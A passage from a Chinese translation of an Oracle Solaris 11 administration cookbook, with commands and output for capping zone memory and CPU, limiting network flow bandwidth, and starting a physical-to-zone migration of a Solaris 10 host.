根据之前的输出,zone1的物理内存限制为 1GB,已使用的交换空间限制为 500MB。此外,还存在一个关于最大交换空间的奇怪行:

value: (priv=privileged,limit=524288000,action=deny)

该行的解释如下:

  • privileged:只有特权用户(root)才能修改。另一个可能的值是 basic(仅所有者可以修改)。

  • deny:此设置可以拒绝任何超过限制值(500 MB)的资源请求。其他选项包括 none(即使请求的资源超过限制,也不采取任何行动)和 signal(当超过阈值时发送信号)。

资源限制是由 rcapd 守护进程实现的服务,可以通过以下命令启用此服务:

root@solaris11-1:~# svcs -a | grep rcap
disabled       21:56:20 svc:/system/rcap:default

root@solaris11-1:~# svcs  -d svc:/system/rcap:default
STATE          STIME    FMRI
online         21:56:31 svc:/system/filesystem/minimal:default
online         21:56:33 svc:/system/resource-mgmt:default
online         21:56:35 svc:/system/manifest-import:default
root@solaris11-1:~# svcadm enable svc:/system/rcap:default
root@solaris11-1:~# svcs -	a | grep rcap
online         22:52:06 svc:/system/rcap:default
root@solaris11-1:~# svcs -p svc:/system/rcap:default
STATE          STIME    FMRI
online         22:52:06 svc:/system/rcap:default
               22:52:06     5849 rcapd

重启 zone1 以使内存限制生效。现在可以通过运行以下命令启用资源限制守护进程,而无需重启:

root@solaris11-1:~# rcapadm -E -n

要监控 rcap 守护进程(rcapd)的操作,请执行以下命令:

root@solaris11-1:~# zoneadm -z zone1 shutdown -r
root@solaris11-1:~# zoneadm list -iv
ID NAME             STATUS     PATH                 BRAND    IP    
 0 global           running    /                    solaris  shared
 1 zone2            running    /myzones/zone2       solaris  excl  
 3 zone1            running    /myzones/zone1       solaris  excl  
root@solaris11-1:~# rcapstat -z
id zone            nproc    vm   rss   cap    at avgat    pg avgpg
 3 zone1               -   26M   38M 1024M    0K    0K    0K    0K
 3 zone1               -   31M   44M 1024M    0K    0K    0K    0K
 3 zone1               -   31M   44M 1024M    0K    0K    0K    0K

已使用的物理内存(RSS)低于内存限制值(1024 MB)。如果物理内存增加,则其限制为 1024 MB。好极了!

为了使这个示例更具吸引力,可以进行一些修改。我们从 zone1 中移除 first_pool 资源池(以及任何其他现有池)。另外,first_pool 池将通过 pooladm -x 命令被删除。显然,新的池配置必须通过 pooladm -s 命令保存。以下是步骤:

root@solaris11-1:~# zonecfg -z zone1 clear pool
root@solaris11-1:~# zoneadm -z zone1 shutdown -r
root@solaris11-1:~# pooladm -x
root@solaris11-1:~# pooladm -s
root@solaris11-1:~# pooladm 
system default
  string   system.comment 
  int      system.version 1
  boolean  system.bind-default true
  string   system.poold.objectives wt-load

  pool pool_default
    int      pool.sys_id 0
    boolean  pool.active true
    boolean  pool.default true
    int      pool.importance 1
    string   pool.comment 
    pset     pset_default

  pset pset_default
    int      pset.sys_id -1
    boolean  pset.default true
    uint     pset.min 1
    uint     pset.max 65536
    string   pset.units population
    uint     pset.load 15511
    uint     pset.size 4
    string   pset.comment 

    cpu
      int     cpu.sys_id 1
      string  cpu.comment 
      string  cpu.status on-line

    cpu
      int     cpu.sys_id 3
      string  cpu.comment 
      string  cpu.status on-line

    cpu
      int     cpu.sys_id 0
      string  cpu.comment 
      string  cpu.status on-line

    cpu
      int     cpu.sys_id 2
      string  cpu.comment 
      string  cpu.status on-line

一切已恢复到默认状态,从此以后,zone1 不再有特定关联的资源池。这使得我们可以从现在开始专注于 FSS。

以下命令检查当前的默认内核调度类是什么:

root@solaris11-1:~# dispadmin -d
dispadmin: Default scheduling class is not set

没有默认的调度类。如果我们想使用 FSS,那么最好在全局区域配置它,因为这个设置会被所有非全局区域继承。按照上述说明配置 FSS,执行以下命令:

root@solaris11-1:~# dispadmin -d FSS
root@solaris11-1:~# dispadmin -d
FSS  (Fair Share)

此设置仅在系统重启后生效。系统重新启动后,所有进程将被归类为 FSS。然而,如果不重启也要立即生效,请执行以下命令:

root@solaris11-1:~# priocntl -s -c FSS

不幸的是,所有当前进程仍然在其他调度类下运行,只有新进程会采用 FSS 设置。可以通过运行以下命令来验证这一点:

root@solaris11-1:~# ps -efcZ | more
  ZONE     UID   PID  PPID  CLS PRI    STIME TTY    TIME CMD
global    root     0     0  SYS  96 00:04:41 ?      0:01 sched
global    root     5     0  SDC  99 00:04:38 ?      0:07 zpool-rpool
global    root     6     0  SDC  99 00:04:42 ?      0:01 kmem_task
global    root     1     0   TS  59 00:04:42 ?      0:00 /usr/sbin/init
global    root     2     0  SYS  98 00:04:42 ?      0:00 pageout
global    root     3     0  SYS  60 00:04:42 ?      0:00 fsflush
global    root     7     0  SYS  60 00:04:42 ?      0:00 intrd
global    root     8     0  SYS  60 00:04:42 ?      0:00 vmtasks
global    root   115     1   TS  59 00:05:09 ?      0:00 /usr/lib/pfexecd
global    root    11     1   TS  59 00:04:48 ?      0:13 /lib/svc/bin/svc.startd
global    root    13     1   TS  59 00:04:48 ?      0:33 /lib/svc/bin/svc.configd
global    root   911     1   TS  59 02:05:55 ?      0:00 
(truncated output)

同样,也不需要等到下一次重启。因此,可以通过执行以下命令将所有进程从当前的调度类移动到 FSS:

root@solaris11-1:~# priocntl -s -c FSS -i all
root@solaris11-1:~# ps -efcZ | more
  ZONE      UID   PID  PPID  CLS PRI    STIME TTY    TIME CMD
global     root     0     0  SYS  96 00:04:41 ?      0:01 sched
global     root     5     0  SDC  99 00:04:38 ?      0:12 zpool-rpool
global     root     6     0  SDC  99 00:04:42 ?      0:02 kmem_task
global     root     1     0  FSS  29 00:04:42 ?      0:00 /usr/sbin/init
global     root     2     0  SYS  98 00:04:42 ?      0:00 pageout
global     root     3     0  SYS  60 00:04:42 ?      0:01 fsflush
global     root     7     0  SYS  60 00:04:42 ?      0:00 intrd
global     root     8     0  SYS  60 00:04:42 ?      0:00 vmtasks
global     root   115     1  FSS  29 00:05:09 ?      0:00 /usr/lib/pfexecd
global     root    11     1  FSS  29 00:04:48 ?      0:13 /lib/svc/bin/svc.startd
global     root    13     1  FSS  29 00:04:48 ?      0:33 /lib/svc/bin/svc.configd
(truncated output)

当 FSS 设置为全局区域的默认调度类时,所有非全局区域都会自动采用此配置。验证此配置,请运行以下命令:

root@solaris11-1:~# zlogin zone1
 [Connected to zone 'zone1' pts/4]
Oracle Corporation  SunOS 5.11  11.1  September 2012
root@zone1:~# ps -efcZ | more
 ZONE      UID   PID  PPID  CLS PRI    STIME TTY         TIME CMD
zone1     root  3944  2454  FSS  29 02:06:47 ?           0:00 /usr/sbin/init
zone1     root  4284  2454  FSS  29 02:06:58 ?           0:06 /lib/svc/bin/svc.startd
zone1     root  2454  2454  SYS  60 02:06:29 ?           0:00 zsched
zone1     root  5479  2454  FSS  59 02:48:52 pts/4       0:00 /usr/bin/login -z global -f root
zone1     root  4287  2454  FSS  29 02:07:00 ?           0:21 /lib/svc/bin/svc.configd
zone1   netcfg  4448  2454  FSS  29 02:07:27 ?           0:00 /lib/inet/netcfgd
zone1     root  4922  2454  FSS  29 02:08:21 ?           0:00 
(truncated output)

我们可以意识到,zone1 中的所有主进程都处于 FSS 类中。无论如何,建议在非全局设置中显式配置 FSS 类,以防止将来可能的错误。因此,执行以下命令:

root@solaris11-1:~# zonecfg -z zone1
zonecfg:zone1> set scheduling-class=FSS
zonecfg:zone1> verify
zonecfg:zone1> commit
zonecfg:zone1> exit
root@solaris11-1:~#
root@solaris11-1:~# zonecfg -z zone2
zonecfg:zone2> set scheduling-class=FSS
zonecfg:zone2> verify
zonecfg:zone2> commit
zonecfg:zone2> exit
root@solaris11-1:~# 

最后,现在是使用 FSS 类来为每个区域(zone1zone2)配置共享资源的正确时机。这样,就可以将 CPU 处理的 70% 分配给 zone1,将剩余的 30% 分配给 zone2。以下是操作步骤:

root@solaris11-1:~# zonecfg -z zone1
zonecfg:zone1> add rctl 
zonecfg:zone1:rctl> set name=zone.cpu-shares
zonecfg:zone1:rctl> add value (priv=privileged, limit=70,action=none)
zonecfg:zone1:rctl> end
zonecfg:zone1> verify
zonecfg:zone1> commit
zonecfg:zone1> exit
root@solaris11-1:~# zonecfg -z zone2
zonecfg:zone2> add rctl
zonecfg:zone2:rctl> set name=zone.cpu-shares
zonecfg:zone2:rctl> add value (priv=privileged,limit=30,action=none)
zonecfg:zone2:rctl> end
zonecfg:zone2> verify
zonecfg:zone2> commit
zonecfg:zone2> exit

这太棒了!通过zonecfg命令,以持久的方式将共享分配给了zone1(70 个共享)和zone2(30 个共享)。要使这两个区域生效,请执行以下命令:

root@solaris11-1:~# zoneadm -z zone1 shutdown -r
root@solaris11-1:~# zoneadm -z zone2 shutdown -r

可以通过以下命令跟踪和监控处理器的使用时间:

root@solaris11-1:~# prstat -Z
  PID USERNAME  SIZE   RSS STATE   PRI NICE      TIME  CPU PROCESS/NLWP      
  4466 root      216M   98M sleep    59    0   0:00:41 0.7% java/25
  4702 root      129M   19M sleep    59    0   0:00:06 0.5% gnome-terminal/2
rcapd/1
     5 root        0K    0K sleep    99  -20   0:00:19 0.2% zpool-rpool/138
   898 root       53M   18M sleep    53    0   0:00:06 0.1% poold/9
  (omitted output)
 automountd/2
   198 root     1780K  788K sleep    29    0   0:00:00 0.0% utmpd/1
   945 root     2392K 1552K sleep    59    0   0:00:00 0.0% ttymon/1
ZONEID    NPROC  SWAP   RSS MEMORY      TIME  CPU ZONE      
     0      117 2885M  794M   9.5%   0:03:28 2.5% global    
     2       28  230M   62M   0.7%   0:00:30 0.1% zone1     
     1       28  230M   64M   0.7%   0:00:29 0.1% zone2      

令人惊讶的是,能够动态地更改zone.cpu-shares属性,而无需重新启动区域,但这种更改是非持久性的(所有更改在重启后会丢失)。可以通过运行以下命令来完成:

root@solaris11-1:~# prctl -n zone.cpu-shares -v 60 -r -i zone zone1
root@solaris11-1:~# prctl -n zone.cpu-shares -P -i zone zone1
zone: 3: zone1
zone.cpu-shares usage 60 - - -
zone.cpu-shares privileged 60 - none -
zone.cpu-shares system 65535 max none -
root@solaris11-1:~# prctl -n zone.cpu-shares -v 40 -r -i zone zone2
root@solaris11-1:~# prctl -n zone.cpu-shares -P -i zone zone2
zone: 4: zone2
zone.cpu-shares usage 40 - - -
zone.cpu-shares privileged 40 - none -
zone.cpu-shares system 65535 max none -
root@solaris11-1:~#

为了在 5 秒钟的间隔内收集来自两个区域的内存和 CPU 信息,请执行以下命令:

root@solaris11-1:~#  zonestat -z zone1,zone2 -r physical-memory 5
Collecting data for first interval...
Interval: 1, Duration: 0:00:05
PHYSICAL-MEMORY              SYSTEM MEMORY
mem_default                          8191M
                                ZONE  USED %USED   CAP  %CAP
                             [total] 1464M 17.8%     -     -
                            [system]  624M 7.62%     -     -
                               zone2 63.9M 0.78%     -     -
                               zone1 3561K 0.04% 1024M 0.33%

Interval: 2, Duration: 0:00:10
PHYSICAL-MEMORY              SYSTEM MEMORY
mem_default                          8191M
                                ZONE  USED %USED   CAP  %CAP
                             [total] 1464M 17.8%     -     -
                            [system]  624M 7.62%     -     -
                               zone2 63.9M 0.78%     -     -
                               zone1 3485K 0.04% 1024M 0.33%
Removing all configured shares is quickly executed by running:
root@solaris11-1:~# zonecfg -z zone1 clear cpu-shares
root@solaris11-1:~# zonecfg -z zone2 clear cpu-shares
root@solaris11-1:~# zoneadm -z zone1 shutdown -r
root@solaris11-1:~# zoneadm -z zone2 shutdown -r

根据我们对资源管理器的讨论,存在一个名为dedicated-cpu的区域资源,在该资源中,可以为非全局区域指定一组处理器(或核心)。例如,以下示例向我们展示了zone1可以根据需求使用一个到四个处理器(ncpus=1-4),当与其他区域或配置竞争资源时,该设置的importance值为8。这个智能的设置会创建一个临时池,包含其中所需的处理器。以下是步骤:

root@solaris11-1:~# zonecfg -z zone1
zonecfg:zone1> add dedicated-cpu
zonecfg:zone1:dedicated-cpu> set ncpus=1-4
zonecfg:zone1:dedicated-cpu> set importance=8
zonecfg:zone1:dedicated-cpu> end
zonecfg:zone1> verify
zonecfg:zone1> commit
zonecfg:zone1> exit
root@solaris11-1:~# zoneadm -z zone1 shutdown -r
root@solaris11-1:~# zlogin zone1
[Connected to zone 'zone1' pts/2]
Oracle Corporation  SunOS 5.11  11.1  September 2012
root@zone1:~# pooladm
system default
  string   system.comment 
  int      system.version 1
  boolean  system.bind-default true
  string   system.poold.objectives wt-load

  pool SUNWtmp_zone1
    int  pool.sys_id 1
    boolean  pool.active true
    boolean  pool.default false
    int      pool.importance 8
    string   pool.comment 
    boolean  pool.temporary true
    pset     SUNWtmp_zone1

  pset SUNWtmp_zone1
    int      pset.sys_id 1
    boolean  pset.default false
    uint     pset.min 1
    uint     pset.max 4
    string   pset.units population
    uint     pset.load 4
    uint     pset.size 2
    string   pset.comment 
    boolean  pset.temporary true

    cpu
      int     cpu.sys_id 1
      string  cpu.comment 
      string  cpu.status on-line

    cpu
      int     cpu.sys_id 0
      string  cpu.comment 
      string  cpu.status on-line

真棒!要从 zone1 移除 dedicated-cpu 资源,请执行以下命令:

root@solaris11-1:~# zonecfg -z zone1
zonecfg:zone1> remove dedicated-cpu
zonecfg:zone1> verify
zonecfg:zone1> commit
zonecfg:zone1> exit

在继续之前,我们必须通过执行以下命令重新启动该区域:

root@solaris11-1:~# zoneadm -z zone1 shutdown -r

另一种控制区域资源的好方法是使用capped-cpu资源,这允许我们指定区域可以使用 CPU 的百分比。要指定的值表示 CPU 的百分比,可以通过执行以下步骤来实现:

root@solaris11-1:~# zonecfg -z zone1
zonecfg:zone1> add capped-cpu
zonecfg:zone1:capped-cpu> set ncpus=2.5
zonecfg:zone1:capped-cpu> end
zonecfg:zone1> verify
zonecfg:zone1> commit
zonecfg:zone1> exit
root@solaris11-1:~# zoneadm -z zone1 shutdown -r

根据先前的配置,ncpus=2.5属性意味着 250% 的 CPU 或 2.5 个 CPU。要移除最近添加的资源,请执行以下命令:

root@solaris11-1:~# zonecfg -z zone1
zonecfg:zone1> remove capped-cpu
zonecfg:zone1:capped-cpu> end
zonecfg:zone1> verify
zonecfg:zone1> commit
zonecfg:zone1> exit

在所有更改之后,我们必须通过执行以下命令来重新启动该区域:

root@solaris11-1:~# zoneadm -z zone1 shutdown -r

这真是太棒了!我们已经进行了许多资源管理的试验,所有的试验都成功了!由于zone1仍然存在资源限制(内存),现在是时候将其移除:

root@solaris11-1:~# zonecfg -z zone1
zonecfg:zone1> remove capped-memory
zonecfg:zone1> verify
zonecfg:zone1> commit
zonecfg:zone1> exit
root@solaris11-1:~# zoneadm -z zone1 shutdown -r

最后,可以通过执行以下命令来禁用资源限制功能:

root@solaris11-1:~# svcs -a | grep rcap
online         18:49:28 svc:/system/rcap:default
root@solaris11-1:~# rcapadm -D
                                      state: disabled
           memory cap enforcement threshold: 0%
                    process scan rate (sec): 15
                 reconfiguration rate (sec): 60
                          report rate (sec): 5
                    RSS sampling rate (sec): 5
root@solaris11-1:~# svcs -a | grep rcap
disabled       19:28:33 svc:/system/rcap:default

禁用资源限制功能的另一种方法是执行以下命令:

root@solaris11-1:~# svcadm disable svc:/system/rcap:default

完美!一切已经恢复到最初的设置。

配方概览

这一部分内容非常长,我们可以学习到很多关于资源管理控制的细节,以及如何限制处理器和内存。在下一章中,我们将讨论网络资源控制。

实施流量控制

在上一小节中,我们处理了处理器和内存的资源控制。在 Oracle Solaris 11 中,网络控制变得越来越重要和相关,使我们能够根据 TCP/IP 服务和端口设置网络流量控制。请继续阅读下一页了解更多信息。

准备工作

本食谱要求一个运行 Oracle Solaris 11 的虚拟机(VMware 或 VirtualBox),配置为一个处理器,4 GB RAM 和一个物理网络接口。为了简化操作,我们将重用与之前食谱相同的环境。

如何操作……

为了能够遵循本节中的步骤,您需要检查当前的环境设置。因此,可以通过运行以下命令收集有关现有虚拟接口、虚拟交换机和网络接口的信息:

root@solaris11-1:~# dladm show-vnic
LINK           OVER        SPEED  MACADDRESS        MACADDRTYPE  VID
vnic0          vswitch1    40000  2:8:20:d:b:3b     random       0
vnic1          vswitch1    40000  2:8:20:ef:b6:63   random       0
zone1/vnic1    vswitch1    40000  2:8:20:ef:b6:63   random       0
vnic2          vswitch1    40000  2:8:20:ce:b0:da   random       0
zone2/vnic2    vswitch1    40000  2:8:20:ce:b0:da   random       0
zone2/net0     net0        1000   2:8:20:f3:29:68   random       0
zone1/net0     net0        1000   2:8:20:ac:7d:b1   random       0
root@solaris11-1:~# dladm show-link
LINK                CLASS     MTU    STATE    OVER
net1                phys      1500   up       --
net0                phys      1500   up       --
vswitch1            etherstub 9000   unknown  --
vnic0               vnic      9000   up       vswitch1
vnic1               vnic      9000   up       vswitch1
zone1/vnic1         vnic      9000   up       vswitch1
vnic2               vnic      9000   up       vswitch1
zone2/vnic2         vnic      9000   up       vswitch1
zone2/net0          vnic      1500   up       net0
zone1/net0          vnic      1500   up       net0

由于现有的虚拟接口当前分配给非全局区域,请创建一个新的虚拟接口VNIC),并通过执行以下命令将其与vswitch虚拟交换机关联:

root@solaris11-1:~# dladm create-vnic -l vswitch1 vnic5
root@solaris11-1:~# dladm show-vnic
LINK          OVER         SPEED  MACADDRESS        MACADDRTYPE   VID
vnic0         vswitch1     40000  2:8:20:d:b:3b     random        0
vnic1         vswitch1     40000  2:8:20:ef:b6:63   random        0
zone1/vnic    vswitch1     40000  2:8:20:ef:b6:63   random        0
vnic2         vswitch1     40000  2:8:20:ce:b0:da   random        0
zone2/vnic2   vswitch1     40000  2:8:20:ce:b0:da   random        0
zone2/net0    net0         1000   2:8:20:f3:29:68   random        0
zone1/net0    net0         1000   2:8:20:ac:7d:b1   random        0
vnic5         vswitch1     40000  2:8:20:c0:9a:f7   random        0

vnic5上创建两个流量控制:第一个控制端口80的 TCP 流,第二个控制相同端口80的 UDP 流,通过执行以下命令:

root@solaris11-1:~# flowadm show-flow
root@solaris11-1:~# flowadm add-flow -l vnic5 -a transport=tcp,local_port=80 http_tcp_1
root@solaris11-1:~# flowadm add-flow -l vnic5 -a transport=udp,local_port=80 http_udp_1
root@solaris11-1:~# flowadm show-flow
FLOW        LINK          IPADDR         PROTO  LPORT   RPORT   DSFLD
http_tcp_1  vnic5         --             tcp    80      --      --
http_udp_1  vnic5         --             udp    80      --      --

根据之前的输出,我们将流量控制命名为http_tcp_1http_udp_1;两者都控制 HTTP 数据,并分别使用 TCP 和 UDP 作为传输协议。因此,适合为此 HTTP 流绑定一个新属性,控制最大带宽并将其限制为 50 MBps。为此,请执行以下命令:

root@solaris11-1:~# flowadm set-flowprop -p maxbw=50M http_tcp_1
root@solaris11-1:~# flowadm set-flowprop -p maxbw=50M http_udp_1
root@solaris11-1:~# flowadm show-flowprop 
FLOW         PROPERTY        VALUE          DEFAULT        POSSIBLE
http_tcp_1   maxbw              50          --             -- 
http_udp_1   maxbw              50          --             -- 
root@solaris11-1:~#

我们已将端口80(TCP 和 UDP)的带宽限制设置为最大 50 MBps。可以通过执行以下命令,在两秒的间隔内监控接收的包(如本食谱所示):

root@solaris11-1:~# flowstat -r http_tcp_1 -i 2
           FLOW    IPKTS   RBYTES   IDROPS
     http_tcp_1        0        0        0
     http_tcp_1        0        0        0
     http_tcp_1        0        0        0
     http_tcp_1        0        0        0

此外,建议您通过运行以下命令分析更完整的视图,包括发送和接收的包:

root@solaris11-1:~# flowstat -i 2
           FLOW    IPKTS   RBYTES   IDROPS    OPKTS   OBYTES   ODROPS
     http_tcp_1        0        0        0        0        0        0
     http_udp_1        0        0        0        0        0        0
     http_tcp_1        0        0        0        0        0        0
     http_udp_1        0        0        0        0        0        0
     http_tcp_1        0        0        0        0        0        0
     http_udp_1        0        0        0        0        0        0

最后,要从系统和vnic5接口中移除这两个流量控制,请执行以下命令:

root@solaris11-1:~# flowadm
FLOW        LINK          IPADDR         PROTO  LPORT   RPORT   DSFLD
http_tcp_1  vnic5         --             tcp    80      --      --
http_udp_1  vnic5         --             udp    80      --      --
root@solaris11-1:~# flowadm remove-flow http_tcp_1
root@solaris11-1:~# flowadm remove-flow http_udp_1
root@solaris11-1:~# flowadm show-flow
root@solaris11-1:~# dladm delete-vnic vnic5
root@solaris11-1:~# dladm show-vnic
LINK           OVER       SPEED  MACADDRESS        MACADDRTYPE    VID
vnic0          vswitch1   40000  2:8:20:d:b:3b     random         0
vnic1          vswitch1   40000  2:8:20:ef:b6:63   random         0
zone1/vnic1    vswitch1   40000  2:8:20:ef:b6:63   random         0
vnic2          vswitch1   40000  2:8:20:ce:b0:da   random         0
zone2/vnic2    vswitch1   40000  2:8:20:ce:b0:da   random         0
zone2/net0     net0       1000   2:8:20:f3:29:68   random         0
zone1/net0     net0       1000   2:8:20:ac:7d:b1   random         0

食谱概览

本食谱展示了如何在虚拟网络接口VNICs)上实施、监控和取消配置流量,并将 TCP 和 UDP 协议在端口80上的带宽限制为 50 MBps。

从物理 Oracle Solaris 10 主机迁移到 Oracle Solaris 11 Zones

在考虑如何部署 Oracle Solaris 11 时,会出现两个常见问题。首先,我们该如何处理之前的 Oracle Solaris 10 安装?其次(更糟糕的是),Oracle Solaris 10 Zones 能做什么?

幸运的是,Oracle Solaris 11 为这两种情况提供了最佳解决方案:物理到虚拟P2V)迁移,将物理的 Oracle Solaris 10 安装迁移到 Oracle Solaris 11 Zone,以及虚拟到虚拟V2V)迁移,将 Oracle Solaris 10 本地区域迁移到 Oracle Solaris 11 中的 Solaris 10 品牌区域。

准备工作

本教程需要一台虚拟机(VirtualBox 或 VMware)并安装有 Oracle Solaris 11,8 GB 内存,以及足够的磁盘空间(大约 10 GB)。为了简化操作,将使用之前教程中的 myzone 池,如果您已删除它,应该使用 zpool create myzone <disks> 命令重新创建它。此外,必须有一台 Oracle Solaris 10 虚拟机(至少 2 GB 内存和一个至少 15 GB 的虚拟磁盘),用于本次迁移示例。本教程将不展示如何安装这台 Oracle Solaris 10 虚拟机。您可以从 www.oracle.com/technetwork/server-storage/solaris10/downloads/index.html?ssSourceSiteId=ocomau 下载 Oracle Solaris 10 DVD,用于安装和部署。

我们的任务是将一个物理的(全局区域)Oracle Solaris 10 主机(没有任何非全局区域)迁移到 Oracle Solaris 11 区域。将一个 Oracle Solaris 10 原生区域迁移到 Oracle Solaris 11 品牌 10 区域的步骤非常相似,这里不再展示。

如何操作…

为了将一个物理的 Oracle Solaris 10(全局区域)迁移到 Oracle Solaris 11 的 Solaris 10 品牌区域,建议在执行迁移步骤之前收集关于 Oracle Solaris 10 的信息(例如主机名、主机 ID、内存大小、操作系统版本、可用磁盘等)。从现在开始,每次看到 bash-3.2# 提示符时,意味着我们正在处理 Oracle Solaris 10。这些信息可以通过执行以下简单命令收集:

# bash
bash-3.2# uname -a
SunOS solaris10 5.10 Generic_147148-26 i86pc i386 i86pc
bash-3.2# hostname
solaris10
bash-3.2# ping 192.168.1.1
192.168.1.1 is alive
bash-3.2# hostid
37e12f92
bash-3.2# prtconf | grep -i memory
Memory size: 2048 Megabytes
bash-3.2# more /etc/release
                    Oracle Solaris 10 1/13 s10x_u11wos_24a X86
  Copyright (c) 1983, 2013, Oracle and/or its affiliates. All rights reserved.
                            Assembled 17 January 2013
bash-3.2# ifconfig -a
lo0: flags=2001000849<UP,LOOPBACK,RUNNING,MULTICAST,IPv4,VIRTUAL> mtu 8232 index 1
        inet 127.0.0.1 netmask ff000000
e1000g0: flags=1004843<UP,BROADCAST,RUNNING,MULTICAST,DHCP,IPv4> mtu 1500 index 2
        inet 192.168.1.108 netmask ffffff00 broadcast 192.168.1.255
        ether 8:0:27:49:c4:39
bash-3.2#
bash-3.2# zpool list
no pools available
bash-3.2# df -h
Filesystem             size   used  avail capacity  Mounted on
/dev/dsk/c0t0d0s0       37G   4.2G    33G    12%    /
/devices                 0K     0K     0K     0%    /devices
ctfs                     0K     0K     0K     0%    /system/contract
proc                     0K     0K     0K     0%    /proc
mnttab                   0K     0K     0K     0%    /etc/mnttab
swap                   3.1G   992K   3.1G     1%    /etc/svc/volatile
objfs                    0K     0K     0K     0%    /system/object
sharefs                  0K     0K     0K     0%    /etc/dfs/sharetab
/usr/lib/libc/libc_hwcap1.so.1
                        37G   4.2G    33G    12%    /lib/libc.so.1
fd                       0K     0K     0K     0%    /dev/fd
swap                   3.1G    72K   3.1G     1%    /tmp
swap                   3.1G    32K   3.1G     1%    /var/run
bash-3.2# format
Searching for disks...done

AVAILABLE DISK SELECTIONS:
       0\. c0t0d0 <ATA    -VBOX HARDDISK  -1.0  cyl 5218 alt 2 hd 255 sec 63>
          /pci@0,0/pci8086,2829@d/disk@0,0
Specify disk (enter its number): ^D
bash-3.2#

既然我们已经收集了所有来自 Oracle Solaris 10 虚拟机的必要信息,接下来执行 zonep2vchk 命令,以验证 P2V 迁移的兼容性以及此操作是否可行:

bash-3.2# zonep2vchk -b
--Executing Version: 5.10.1.1

  - Source System: solaris10
      Solaris Version: Oracle Solaris 10 1/13 s10x_u11wos_24a X86
      Solaris Kernel:  5.10 Generic_147148-26
      Platform:        i86pc i86pc

  - Target System:
      Solaris Version: Solaris 10
      Zone Brand:      native (default)
      IP type:         shared

--Executing basic checks

  - The following SMF services will not work in a zone:

        svc:/network/iscsi/initiator:default
        svc:/system/iscsitgt:default

  - The following SMF services require ip-type "exclusive" to work in
    a zone. If they are needed to support communication after migrating
    to a shared-IP zone, configure them in the destination system's global
    zone instead:

        svc:/network/ipsec/ipsecalgs:default
        svc:/network/ipsec/policy:default
        svc:/network/routing-setup:default

  - When migrating to an exclusive-IP zone, the target system must have an
    available physical interface for each of the following source system
    interfaces:

        e1000g0

  - When migrating to an exclusive-IP zone, interface name changes may
    impact the following configuration files:

        /etc/hostname.e1000g0
        /etc/dhcp.e1000g0

  - Dynamically assigned IP addresses are configured on the following
    interfaces. These addresses are not supported with shared-IP zones.
    Use an exclusive-IP zone or replace any dynamically assigned addresses
    with statically assigned addresses. These IP addresses could change
    as a result of MAC address changes. You may need to modify this
    system's address information on the DHCP server and on the DNS,
    LDAP, or NIS name servers:

        DHCP assigned address on: e1000g0

  Basic checks complete. Issue(s) detected: 9

--Total issue(s) detected: 9

没有发现关键性问题(建议您逐行检查此报告),所以我们可以继续执行迁移操作,通过执行以下一系列命令来创建一个区域配置文件:

bash-3.2# mkdir /migration
bash-3.2# zonep2vchk -c > /migration/solaris10.cfg
bash-3.2# vi /migration/solaris10.cfg
bash-3.2# more /migration/solaris10.cfg
create -b
set zonepath=/zones/solaris10
add attr
        set name="zonep2vchk-info"
        set type=string
        set value="p2v of host solaris10"
        end
set ip-type=shared
# Uncomment the following to retain original host hostid:
# set hostid=37e12f92
# maximum lwps based on max_uproc/v_proc
set max-lwps=57140
add attr
        set name=num-cpus
        set type=string
        set value="original system had 1 cpus"
        end
# Only one of dedicated or capped CPU can be used.
# Uncomment the following to use capped CPU:
# add capped-cpu
#       set ncpus=1.0
#       end
# Uncomment the following to use dedicated CPU:
# add dedicated-cpu
#       set ncpus=1
#       end
# Uncomment the following to use memory caps.
# Values based on physical memory plus swap devices:
# add capped-memory
#       set physical=2048M
#       set swap=6142M
#       end
# Original configuration for interface: e1000g0:
#    Statically defined ip address: 192.168.1.108 (solaris10)
#  * DHCP assigned ip address: 192.168.1.108/24 (solaris10)
#    MAC address: Factory assigned: 8:0:27:49:c4:39
#    Unable to migrate addresses marked with "*".
#    Shared IP zones require statically assigned addresses.
add net
        set address=solaris10
        set physical=change-me
        end
exit
bash-3.2#

从这个文件中,进行了一些修改,具体变化请参见以下命令行(加粗部分,易于理解)。新的迁移配置文件看起来如下输出:

bash-3.2# vi /migration/solaris10.cfg

#create -b
create -t SYSsolaris10

#set zonepath=/zones/solaris10
set zonepath=/myzones/solaris10
add attr
        set name="zonep2vchk-info"
        set type=string
        set value="p2v of host solaris10"
        end
set ip-type=shared
remove anet
# Uncomment the following to retain original host hostid:
set hostid=37e12f92
# maximum lwps based on max_uproc/v_proc
set max-lwps=57140
add attr
        set name=num-cpus
        set type=string
        set value="original system had 1 cpus"
        end
# Only one of dedicated or capped CPU can be used.
# Uncomment the following to use capped CPU:
# add capped-cpu
#       set ncpus=1.0
#       end
# Uncomment the following to use dedicated CPU:
# add dedicated-cpu
#       set ncpus=1
#       end
# Uncomment the following to use memory caps.
# Values based on physical memory plus swap devices:
# add capped-memory
#       set physical=2048M
#       set swap=1024M
#       end
# Original configuration for interface: e1000g0:
#    Statically defined ip address: 192.168.1.108 (solaris10)
#  * DHCP assigned ip address: 192.168.1.108/24 (solaris10)
#    MAC address: Factory assigned: 8:0:27:49:c4:39
#    Unable to migrate addresses marked with "*".
#    Shared IP zones require statically assigned addresses.
add net
        set address=192.168.1.124
        set physical=net0
        end
exit

在继续操作之前,我们需要通过运行以下命令验证是否只有一个全局区域(我们的初衷是迁移一个没有包含内部区域的 Oracle Solaris 10 主机):

bash-3.2# zoneadm list -iv
ID NAME           STATUS     PATH                     BRAND    IP
 0 global         running    /                        native   shared

很棒!现在,是时候从原始的 Oracle Solaris 10 全局区域创建一个镜像(solaris10.flar),并排除保存镜像的目录(-x /migration),以防止递归效应,通过执行以下命令:

bash-3.2# flarcreate -S -n solaris10 -x /migration /migration/solaris10.flar
Full Flash
Checking integrity...
Integrity OK.
Running precreation scripts...
Precreation scripts done.
Creating the archive...
8417435 blocks
Archive creation complete.
Running postcreation scripts...
Postcreation scripts done.

Running pre-exit scripts...
Pre-exit scripts done.

等待一段时间后,通过运行以下命令检查已创建的文件:

bash-3.2# ls -lh /migration/solaris10.flar
-rw-r--r--   1 root     root        4.0G Feb 11 17:32 /migration/solaris10.flar

这个 FLAR 镜像将在后续步骤中从 Oracle Solaris 11 机器中使用,且重要的是通过执行以下命令共享其目录:

bash-3.2# share /migration
bash-3.2# share
-               /migration   rw   ""

切换到另一台机器(solaris11-1),该机器运行的是 Oracle Solaris 11,需要创建一个 ZFS 文件系统,将 Oracle Solaris 10 安装迁移到该文件系统作为非全局区域。因此,请执行以下命令:

root@solaris11-1:~# zfs create myzones/solaris10
root@solaris11-1:~# zfs list myzones/solaris10
